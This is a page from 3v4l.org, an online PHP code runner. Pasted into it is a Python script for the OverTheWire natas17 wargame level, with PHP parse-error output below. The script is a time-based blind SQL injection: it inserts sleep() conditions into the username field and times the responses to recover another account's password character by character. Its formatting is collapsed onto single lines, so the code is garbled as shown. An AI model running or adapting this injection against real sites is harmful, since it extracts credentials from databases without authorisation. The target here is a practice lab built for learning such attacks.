3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<? #!/usr/bin/python import httplib2 import urllib import time h = httplib2.Http() h.add_credentials('natas17', '********************************') baseStr = "" char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" index = 0 while index < len(char): query = urllib.urlencode(dict(username="natas18\" AND if(password LIKE BINARY \"" + baseStr + char[index] + "%\", sleep(2), 0);# ")) StartTime = int(time.time()) resp, content = h.request("http://natas17.natas.labs.overthewire.org/index.php?" + query, method="POST") EndTime = int(time.time()) lapse = EndTime - StartTime if lapse >= 2: baseStr += char[index]; print("New Password: " + baseStr) index = 0 continue index += 1?>
based on Tdf0o
Output for 5.4.34
Parse error: syntax error, unexpected 'httplib2' (T_STRING) in /in/4ube4 on line 3
Process exited with code 255.
Output for 5.4.0 - 5.4.32
<? #!/usr/bin/python import httplib2 import urllib import time h = httplib2.Http() h.add_credentials('natas17', '********************************') baseStr = "" char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" index = 0 while index < len(char): query = urllib.urlencode(dict(username="natas18\" AND if(password LIKE BINARY \"" + baseStr + char[index] + "%\", sleep(2), 0);# ")) StartTime = int(time.time()) resp, content = h.request("http://natas17.natas.labs.overthewire.org/index.php?" + query, method="POST") EndTime = int(time.time()) lapse = EndTime - StartTime if lapse >= 2: baseStr += char[index]; print("New Password: " + baseStr) index = 0 continue index += 1?>